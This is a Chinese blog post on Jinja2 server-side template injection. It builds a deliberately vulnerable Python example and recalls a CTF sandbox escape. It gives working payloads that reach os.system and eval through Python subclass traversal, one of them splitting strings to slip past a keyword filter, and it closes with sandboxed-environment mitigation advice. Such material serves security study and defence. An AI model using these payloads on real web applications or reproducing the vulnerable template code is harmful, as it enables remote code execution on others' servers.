jinja2模板注入_利用 Python 特性在 Jinja2 模板中执行任意代码

原创

吃土豆不吐土豆泥 于 2021-01-17 13:14:05 发布 112 收藏
文章标签： jinja2模板注入

本文链接：https://blog.csdn.net/weixin_31226805/article/details/113013315

对于 Jinja2 模板引擎是否能够在 SSTI 的情况下直接执行命令原文并没有做出说明，并且在 Jinja2 官方文档中也有说明，模板中并不能够直接执行任意 Python 代码，这样看来在 Jinja2 中直接控制模板内容来执行 Python 代码或者命令似乎不太可能。

一、模板中复杂的代码执行方式

最近在进行项目开发时无意中注意到 Jinja2 模板中可以访问一些 Python 内置变量，如 [] {} 等，并且能够使用 Python 变量类型中的一些函数，示例代码一如下：

```
# coding: utf-8

import sys

from jinja2 import Template

template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else ''))

print template.render()
```

为了方便演示，这里直接将命令参数输入拼接为模板内容的一部分并进行渲染输出，这里我们直接输入 {{ 'abcd' }} 使模板直接渲染字符串变量：

当然上面说了可以在模板中直接调用变量实例的函数，如字符串变量中的 upper() 函数将其字符串转换为全大写形式：

那么如何在 Jinja2 的模板中执行 Python 代码呢？如官方的说法是需要在模板环境中注册函数才能在模板中进行调用，例如想要在模板中直接调用内置模块 os ，即需要在模板环境中对其注册，示例代码二如下：

```
# coding: utf-8

import os

import sys

from jinja2 import Template

template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else ''))

template.globals['os'] = os

print template.render()
```

执行代码，并传入参数 {{ os.popen('echo Hello RCE').read() }} ，因为在模板环境中已经注册了 os 变量为 Python os 模块，所以可以直接调用模块函数来执行系统命令，这里执行额系统命令为 echo Hello Command Exection ：

如果使用示例代码一来执行，会得到 os 未定义的异常错误：

二、利用 Python 特性直接执行任意代码

那么，如何在未注册 os 模块的情况下在模板中调用 popen() 函数执行系统命令呢？前面已经说了，在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量类型下的方法，这一特点让我联想到了常见的 Python 沙盒环境逃逸方法，如 2014CSAW-CTF 中的一道 Python 沙盒绕过题目，环境代码如下：

```
#!/usr/bin/env python

from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [

"import",

"exec",

"eval",

"pickle",

"os",

"subprocess",

"kevin sucks",

"input",

"banned",

"cry sum more",

"sys"

]

targets = __builtins__.__dict__.keys()

targets.remove('raw_input')

targets.remove('print')

for x in targets:

del __builtins__.__dict__[x]

while 1:
```

```
print(">>>", end=' ')

data = raw_input()

for no in banned:

if no.lower() in data.lower():

print("No bueno")

break

else: # this means nobreak

exec data
```

(利用 Python 特性绕过沙盒限制的详细讲解请参考 Writeup)，这里给出笔者改进后的 PoC：

```
[c for c in [].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings']
[0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('echo Hello SandBox')
```

当然通过这种方式不仅仅能够通过 os 模块来执行系统命令，还能进行文件读写等操作，具体的代码请自行构造。

回到如何在 Jinja2 模板中直接执行代码的问题上，因为模板中能够访问 Python 内置的变量和变量方法，并且还能通过 Jinja2 的模板语法去遍历变量，因此可以构造出如下模板 Payload 来达到和上面 PoC 一样的效果：

```
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{
c.__init__.func_globals['linecache'].__dict__['os'].system('id') }} {% endif %} {% endfor %}
```

使用该 Payload 作为示例代码二的执行参数，最终会执行系统命令 id ：

当然除了遍历找到 os 模块外，还能直接找回 eval 函数并进行调用，这样就能够调用复杂的 Python 代码。

原始的 Python PoC 代码如下：

```
[a for a in [b for b in [c for c in [].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings']
[0].__init__.func_globals.values() if type(b) == dict] if 'eval' in a.keys()][0]['eval']
('__import__("os").popen("whoami").read()')
```

在 Jinja2 中模板 Payload 如下：

```
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in
c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']
('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
```

使用该 Payload 作为示例代码二的执行参数(注意引号转义)，成功执行会使用 eval() 函数动态载入 os 模块并执行命令：

三、利用途径和防御方法

SSTI(服务端模板注入)。通过 SSTI 控制 Web 应用渲染模板(基于 Jinja2)内容，可以轻易的进行远程代码(命令)执行。当然了，一切的前提都是模板内容可控，虽然这种场景并不常见，但难免会有程序员疏忽会有特殊的需求会让用户控制模板的一些内容。

在 Jinja2 模板中防止利用 Python 特性执行任意代码，可以使用 Jinja2 自带的沙盒环境 jinja2.sandbox.SandboxedEnvironment ，Jinja2 默认沙盒环境在解析模板内容时会检查所操作的变量属性，对于未注册的变量属性访问都会抛出错误。